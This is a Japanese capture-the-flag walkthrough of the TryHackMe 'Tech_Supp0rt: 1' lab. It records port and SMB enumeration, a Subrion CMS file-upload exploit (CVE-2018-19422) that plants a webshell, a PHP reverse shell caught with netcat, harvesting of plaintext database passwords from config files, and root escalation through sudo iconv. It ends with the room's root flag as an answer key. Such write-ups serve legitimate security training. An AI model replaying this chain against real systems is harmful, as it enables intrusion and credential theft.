【TryHackMe】Tech_Supp0rt: 1：Walkthrough

# 概要

TryHackMe「Tech_Supp0rt: 1」のWalkthroughです。

https://tryhackme.com/r/room/techsupp0rt1

# Task1

## **Q1**.*What is the root.txt flag?*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.48.143 -oN nmap_result
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 10:8a:f5:72:d7:f9:7e:14:a5:c5:4f:9e:97:8b:3d:58 (RSA)
|   256 7f:10:f5:57:41:3c:71:db:b5:5b:db:75:c9:76:30:5c (ECDSA)
|_  256 6b:4c:23:50:6f:36:00:7c:a6:7c:11:73:c1:a8:60:0c (ED25519)
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: TECHSUPPORT; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: techsupport
|   NetBIOS computer name: TECHSUPPORT\x00
|   Domain name: \x00
|   FQDN: techsupport
|_  System time: 2024-07-21T23:16:33+05:30
| smb2-time: 
|   date: 2024-07-21T17:46:31
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -1h49m54s, deviation: 3h10m30s, median: 3s
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.2p2|
|80|http|Apache httpd 2.4.18|
|139|smb|Samba smbd 3.X - 4.X|
|445|smb|Samba smbd 4.3.11-Ubuntu|

SMBの列挙を行います。

```
$ enum4linux -a 10.10.48.143

[+] Attempting to map shares on 10.10.48.143     
//10.10.48.143/websvr   Mapping: OK Listing: OK Writing: N/A
```

`//10.10.48.143/websvr`に接続します。

```
$ smbclient //10.10.48.143/websvr              
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \>
```

`enter.txt`を発見しました。

```enter.txt
GOALS
=====
1)Make fake popup and host it online on Digital Ocean server
2)Fix subrion site, /subrion doesn't work, edit from panel
3)Edit wordpress website

IMP
===
Subrion creds
|->admin:7sKvntXdPEJaxazce9PXi24zaFrLiKWCk [cooked with magical formula]
Wordpress creds
|->
```

`Subrion`の認証情報を得られました。

https://github.com/intelliants/subrion

パスワードは`cyberchef`でデコードして文字列を特定しました。

![subrion password.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/fb7b8b7a-edc7-cb34-cc8b-9746c59443aa.jpeg)

Webサーバーのディレクトリ列挙を行います。

```
$ dirsearch -u http://10.10.48.143
[13:48:39] 200 -   24KB - /phpinfo.php
[13:49:00] 200 -    4KB - /test/
[13:49:00] 301 -  311B  - /test  ->  http://10.10.48.143/test/
[13:49:12] 200 -    2KB - /wordpress/wp-login.php 
[13:49:12] 404 -   26KB - /wordpress/
```

WordPressのページで`support`アカウントを発見しました。

![discovered support account.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/11ab3935-2bb2-2028-878e-fecbdbcaecc7.jpeg)

`support`アカウントでの認証を試みましたが失敗しました。

![wp login failedd.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/808086d2-4366-f93a-c93e-bc9be0d3a01b.jpeg)

`/subrion/panel/`で`subrion`のログインフォームが表示されました。

![subrion panel.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/669e3961-6af1-5672-f4bb-3dbed9fa8dbb.jpeg)

ログインし、`subrion 4.2.1`という情報を得られました。

![subrion dashboard.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4938e13f-63fb-b03c-c65e-9b05468cb39c.jpeg)

脆弱性を検索します。

```
$ searchsploit subrion 4.2.1     
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
Subrion 4.2.1 - 'Email' Persistant Cross-Site Scripting                            | php/webapps/47469.txt
Subrion CMS 4.2.1 - 'avatar[path]' XSS                                             | php/webapps/49346.txt
Subrion CMS 4.2.1 - Arbitrary File Upload                                          | php/webapps/49876.py
Subrion CMS 4.2.1 - Cross Site Request Forgery (CSRF) (Add Amin)                   | php/webapps/50737.txt
Subrion CMS 4.2.1 - Cross-Site Scripting                                           | php/webapps/45150.txt
Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS)                              | php/webapps/51110.txt
----------------------------------------------------------------------------------- ---------------------------------
```

ファイルアップロードの脆弱性を悪用してリバースシェルを得られそうです。

```
$ python 49876.py -u http://10.10.211.236/subrion/panel/ -l admin -p Scam2021
[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 

[+] Trying to connect to: http://10.10.211.236/subrion/panel/
[+] Success!
[+] Got CSRF token: v9MrHDKFIXYL0WsMgkDoa1e87cHZZRx4QMxZqimR
[+] Trying to log in...
[+] Login Successful!

[+] Generating random name for Webshell...
[+] Generated webshell name: rnvbnamevcwxnld

[+] Trying to Upload Webshell..
[+] Upload Success... Webshell path: http://10.10.211.236/subrion/panel/uploads/rnvbnamevcwxnld.phar 

$ whoami
www-data
```

TTYが取得できないので別ファイルをアップロードします。
PHPリバースシェルファイルの拡張子を`.phar`に変更し、`Content`->`Uploads`からアップロードします。

![php rev uploads.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1f103023-8eed-06b1-eee5-2fffff61e7cd.jpeg)

アップロードしたファイルを右クリックし`Get info`からリンクを開いてリバースシェルを確立します。

![get info.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1ecdf734-c6fd-65a6-a009-4472a651434d.jpeg)

`www-data`のシェルを取得できました。

```
$ nc -lvnp 1234                                    
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.211.236] 49794
Linux TechSupport 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 02:14:32 up 38 min,  0 users,  load average: 0.00, 0.00, 0.04
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

TTYを取得します。

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

`scamsite`アカウントへの昇格を目指します。

```
$ ls -l /home
ls -l /home
total 4
drwxr-xr-x 4 scamsite scamsite 4096 May 29  2021 scamsite
```

`subrion`の設定ファイルは`/var/www/html/subrion/includes/config.inc.php`にあるようです。
中身を見るとDBの認証情報を得られましたが悪用はできませんでした。

```/var/www/html/subrion/includes/config.inc.php
define('INTELLI_CONNECT', 'mysqli');
define('INTELLI_DBHOST', 'localhost');
define('INTELLI_DBUSER', 'subrionuser');
define('INTELLI_DBPASS', 'TechSupportStory');
define('INTELLI_DBNAME', 'subrion');
define('INTELLI_DBPORT', '3306');
define('INTELLI_DBPREFIX', 'sbr421_');
```

WordPressの設定ファイルも確認します。

```/var/www/html/wordpress/wp-config.php
define( 'DB_NAME', 'wpdb' );

/** MySQL database username */
define( 'DB_USER', 'support' );

/** MySQL database password */
define( 'DB_PASSWORD', 'ImAScammerLOL!123!' );
```

DBの認証情報を得られました。
パスワード情報から`scamsite`にログインできそうです。

ログインに成功しました。

```
$ su scamsite
su scamsite
Password: ImAScammerLOL!123!

scamsite@TechSupport:/var/www/html/wordpress$
```

`sudo -l`で確認します。

```
$ sudo -l
sudo -l
Matching Defaults entries for scamsite on TechSupport:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User scamsite may run the following commands on TechSupport:
    (ALL) NOPASSWD: /usr/bin/iconv
```

権限昇格の脆弱性を発見しました。

https://gtfobins.github.io/gtfobins/iconv/#sudo

`/root/root.txt`からフラグを入手できます。

```
$ sudo /usr/bin/iconv -f 8859_1 -t 8859_1 /root/root.txt                         
851b8233a8c09400ec30651bd1529bf1ed02790b
```

**A**.**851b8233a8c09400ec30651bd1529bf1ed02790b**